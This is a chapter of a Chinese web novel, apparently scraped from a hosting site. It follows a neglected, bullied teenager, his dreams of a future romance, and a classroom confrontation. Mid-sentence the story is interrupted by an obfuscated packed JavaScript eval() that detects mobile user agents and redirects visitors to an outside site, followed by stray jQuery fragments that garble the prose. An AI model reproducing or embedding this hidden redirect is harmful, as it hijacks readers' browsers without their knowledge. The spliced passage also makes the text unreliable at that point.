24.自曝

作品:《重回影帝少年时代

    笃笃。


    笃笃。


    耳边传来敲门声,安庭迷迷糊糊地睁开眼。


    陆少倏地没了影,高级豪华的餐厅消失而去。


    安庭看见低矮可怕又发黑的天花板。后腰被硌得生疼,他睡眼惺忪,浑身骨头僵硬地从破褥上缓爬起来。


    他往窗外望去。


    回来的时候没拉窗帘,外头已经天黑。又淅淅沥沥地下起雨来了,天上一片昏沉,窗户上一片往下滑落着的水珠。


    笃笃。


    杂物间的门又响了。敲门声很轻,像生怕把谁吵到。


    安庭摁着膝盖,站了起来。


    他走到门口,把门打开,吱呀一声。


    张霞站在门口。


    安庭抓了两把头发,回身往里走去,一屁股坐回到破褥子上。他打着哈欠,低下脑袋,抱着膝盖缩成一团,身体困顿地摇晃两下,显然还没醒。


    张霞轻手轻脚地关上门,在墙上摸索一番,啪嗒开了灯。


    灯泡接触不良地闪了两下,亮起昏暗的光。


    “你怎么回事?”张霞问他,“今天怎么突然跑回来了?”


    安庭闷着头没吭声。


    张霞走到他身边:“你这样,郑少万一不开心了,怎么办?”


    安庭还是没吭声。


    他闭着眼,什么都不想看,只昏昏沉沉地想再睡一觉。


    一片黑暗里,他听见张霞叹了口气。忽然,一只手摸了过来,按着他的头发,轻柔的抚摸了两下,像心疼孩子的母亲。


    是张霞。


    张霞坐到他身边,把他的脑袋轻轻地揉着。


    “小庭,”她叫他,语气温柔,“妈知道,被欺负不好受。可是郑少是你哥的捐助人,为了你哥,你得忍忍。”


    “爸妈都在忍。你看你爸,没日没夜地在工地上工,受包工头的气;妈妈也有空就去摆摊,受客人的气,还得被城管赶……咱们一家都为了你哥,在加油呢。”


    “等你哥的病全好了,就再也不用受气了。”张霞说,“吃点饭吧,今天还什么都没吃吧?”


    她拍了拍他的肩膀。


    安庭抬起脑袋,睁开眼一望。


    张霞手里有个盘子,她正把盘子往安庭怀里送。


    盘子里是半盘米饭,还有一些剩菜汤。


    一些蔫蔫的豆角丝和小白菜,还有五毛一包的小榨菜,被吃了一口的蛋黄,一堆不见荤腥的残羹汤,就这么和半盘米饭,稀拉拉地拌在一起。


    像喂狗的汤拌饭。


    “吃吧。”张霞又颠颠一盘子狗饭。


    安庭垂着脑袋接了过来,也接过了张霞另一只手上的一双筷子。


    盘子冷的吓人,像刚从冰窖里拿出来。


    “好凉,”他哑声说,“又这么凉。”


    “今天也是一直藏在冰箱里的,怕你哥看见。这大半夜的,要是起火给你热了,你哥就得醒了。”


    张霞说,“就这么吃吧。别怪你哥啊,他得病这么久,没办法像你一样上学,出去玩,心里不舒服,才处处找你茬。”


    “他也看不得爸妈对你好,这也没办法……你要理解你哥。爸妈平常是为了照顾你哥心情,才对你大吼大叫又冷脸的,你也要理解爸妈。”


    “其实大家也都爱你,小庭,等你哥病好了,肯定也很后悔现在这么对你,他会跟你道歉的。”


    “你哥是个好孩子,你也是。所以你别任性了,好吗?”


    安庭没说话,捏着筷子,夹起一口米饭,送进嘴里。


    又冷又硬。


    “今天我给你班主任打电话请假了,说你不舒服。但明天你还是得上学去,以后不能再这么任性了。”张霞说,“爸妈的工作是出去给你哥挣钱治病,过好日子。郑总那边,也不是什么钱都出。”


    “你的工作,就是照顾好郑少。郑少高兴了,郑总才会也高兴,你哥也才能平安。”


    “你得照顾你哥。”张霞说,“我们是一家人,要共患难。”


    安庭突然无意识地把指尖猛一攥,指甲抠进了筷子里。细小的筷子没撑住,他几根手指一同滑了出去。筷子啪地一声飞了,摔在远处的地上,几声清脆响,落在尘土堆里。


    张霞本还在说,被这动静吓了一跳。


    “……抱歉。”安庭说,“抱歉,我不是故意的。”


    他低着脑袋,像个真的知道做错了事的小孩。挺高的一个人,缩得像个鹌鹑。


    张霞说不出什么责备的话,又叹了口气,起身走了。


    她把角落里的脏筷子拿了起来,去厨房换了双新筷子回来。嘱咐安庭明早把这个碗洗了,早点吃完早点睡,就回屋睡觉去了。


    扒拉了两口冷饭,安庭实在咽不下去,放到了一边,起身关了灯,又倒在褥子上睡了。


    他又梦到了陆少,梦见那个九月底的秋天晚上。


    陆少带他走进了餐厅。服务生一看见他们就连连弯身,恭敬得头都不敢抬。


    餐厅里,除了他们没有别人,陆少为他包了场。他们坐在靠在外海海边的绝佳位置上。陆少给他开了最贵的红酒,上了最贵的菜,点了两个摇曳的烛台。


    他们把墨镜和帽子都摘了,陆少露出漂亮的蓝眼睛。


    安庭面上带着在外人前的一贯微笑,望了很久他的眼睛,脑子里却有根弦一直在抖。


    他心里不住翻涌,越是对着陆少有那心思,以前的事就越是铺天盖地而来。陆少漂亮热情的笑脸又开始扭曲,变成旋涡,黑乎乎的看不出模样。


    陆少一直在跟他说话,边喝酒边吃东西边说起最近的事,开开心心的。可渐渐地,安庭开始一个字儿都听不到了,他嘴角开始抽搐,额角上多了几道青筋。


    往事如海啸般翻涌而来,剥夺所有氧气,颠倒所有器官。


    吃到一半,安庭再撑不住了,连一句“抱歉”都说不出来,站起来捂住嘴,就往卫生间跑。


    他冲进厕所里,昏天黑地地吐了一顿,吐得胃里翻涌酸水,浑身像痉挛了一样痛。躯体化突然就来了,他头疼欲裂,好半晌都没意识,心悸又手抖,上不来气地一直喘,骨头像被碾碎了。


    好半天,他才晃晃悠悠地起身,推开隔间的门,出去洗手池边,漱了口,吃了药,再走出去时,陆少站在卫生间门口,两手绞着衣角,紧张无措地看着他。


    “没事吧?”陆少问他,“怎么了,是什么东西过敏了?”


    安庭没吭声,只是两眼发红地看着他。


    露台上十分空旷,夜里的风在吹。陆少的红发被吹得翻飞,碎发扫过那双发亮的眉眼——真好啊,陆少特别好,安庭突然就这样想。


    他呼地叹了一声,抬头看着明亮的月亮,和万里无云的夜空。他看见天上无数的星星,和陆少海蓝的眼睛一样亮。


    “抱歉,”他轻轻说,“我好像真的谈不了。”


    陆少蓦地怔住。


    安庭低头看向他,嘴角还在不住地抖。他用力扯了几下,终于在麻木的精神里夺回一点自主权,朝陆少扯出个苦笑来。


    “但你很好,”他说,“谢谢你。”


    风在尖啸,安庭分不清自己听到的是风声,还是自己过去的哭声。


    陆少站在他面前,怔了很久,问:“谢我什么?”


    安庭沉默地看了他一会儿,噗嗤笑了出来,笑得眼睛都眯缝起来,摇摇脑袋:“不知道。”


    ——窗外一阵欢快鸟叫。


    安庭在床上猛一哆嗦,眼睛一睁。


    他醒了。


    仰面躺在破褥子上,望了好久发霉的天花板,外面的死鸟又引颈叫了两声,安庭还是没回神。


    他面露呆滞、满脑子空白。


    胸腔里的心脏,在前所未有地轰然跳动。


    *


    半小时后,安庭捂着脑袋,走在上学路上,太阳穴突突地疼。


    头好痛。


    服了,头好痛……


    他脸色比昨天还难看,睡了觉比不睡还难受。


    安庭脚步都有点飘忽,像喝完酒似的飘飘,好像梦里那几杯酒和躯体化真的都来了一遍。


    好怪的梦。


    话说那些药不能


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921214|191851||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在酒前酒后吃的吧,他在梦里是不是傻.逼啊。


    而且,怎么会做当影帝的梦……


    走着走着,到了小区门口。


    忽然,一股说不出的视线扑面而来。


    安庭青着病脸一抬头。


    陆灼颂站在门口,正看着他。


    抬头四目一对,安庭眼睛里一晃,梦里的秋夜去而复返,陆灼颂变成了戴着冷帽墨镜、笑意吟吟的潇洒陆少。


    安庭浑身一顿,一眨眼,眼前又立刻恢复如常。


    陆少变回了穿着校服的陆灼颂,旁边还站着他那个眉清目秀的好兄弟陈诀。


    陆灼颂从靠着的墙上直起身,走了过来:“早。”


    安庭表情复杂地看了他一眼,径直走了。


    陆灼颂径直跟上:“你没事了吗?”


    安庭不说话。


    出了小区,安庭一如既往往学校走。陆灼颂跟在他后头,也一如既往地唠唠叨叨。


    安庭被他唠叨得头痛。可不知怎么,他突然变得不是很想给陆灼颂泼冷水,愣是忍着头疼没说话,兀自疼得眉角抽了一路。


    路上,他偶然回头看了一眼,不知怎么,突然看陆灼颂那一脑袋老老实实的黑发很不顺眼。


    梦里,红发的陆少又浮现在他眼前。


    一晃的空,俩人走到了学校。


    到了校门口,安庭才想起什么,回头问他:“你昨天被打了没?”


    “没,”陆灼颂揉揉后脖颈,“我听见了,你那好男朋友想尾随我嘛。我还想跟他碰碰的,结果昨天他爸来接他了,一出校门他就走了,没能碰上。”


    “是吗。”


    安庭转头,走进学校,眼瞅着要到教室门口。他顿时心情变得沉重,叹了口气。


    一拉开门,郑玉浩又跟他那俩小弟坐在窗边,很大声地嘻嘻哈哈地笑。安庭一进来,郑玉浩就眯着眼往他这边一斜,不怀好意地嗤了一声。


    安庭走到座位上,一看。


    椅子上全是胶水,桌子歪了,上头被人用记号笔密密麻麻地写满了黑色的字。横七竖八又大大小小的,全是不堪入目的脏话。


    最中间三个字,巨大无比,十分刺眼。


    【血包库】


    安庭一下木在原地,浑身的血都冻住了。


    他耳边炸开一片刺耳的哄堂嘲笑,人却迟迟回不过神。他怔怔望着桌上那片字,站在桌前,无所适从地一动不能动,像在移植手术台上,被打了麻药。


    一阵脚步声从远处疾步走近,走到他身边。


    安庭终于回过神。他一抬头,见到陆灼颂站在了他桌边。


    这人低着头,垂着黑发,盯着他的桌子,看不清表情。


    陆灼颂深吸一口气,转过头,沉声:“道歉。”


    郑玉浩正在那儿挎着两个小弟的肩膀,笑得上气不接下气,声音响得能掀翻房顶,根本没听见。


    陆灼颂朝他吼:“笑屁!滚过来道歉!!”


    全班被他吼得一震。


    郑玉浩的笑声戛然而止。


    他抬起头,眼珠在瞳孔里缩小成豆丁大点,脸上再无笑意,满脸生寒地盯了过来。


    郑玉浩“嗤”了声:“哈?”


    “道歉?”他又笑出来了,“我为什么道歉?”


    “你——”


    陆灼颂气得人都红了,安庭看见他从脖子到耳朵红了一大片。


    他抬脚就要往郑玉浩那边去,安庭吓得赶紧拽住他:“行了!用不着你,我擦擦就掉了!”


    陆灼颂回头怒骂:“这是擦擦的事儿吗!”


    “那不然还要怎么样,用不着你管!”


    “我偏就要管!”


    陆灼颂甩开他,抄起值日生放在旁边的拖把,踹开跟前的椅子,朝着郑玉浩就冲了过去,一拖把就糊到他脸上。


    郑玉浩始料未及,从窗台上摔了下来,咚地摔在地上。


    俩小弟又叫:“浩哥!”


    陈诀惊呆了,也叫他:“老大!”


    “叫什么老大!”陆灼颂破口大骂,“叫二少!!”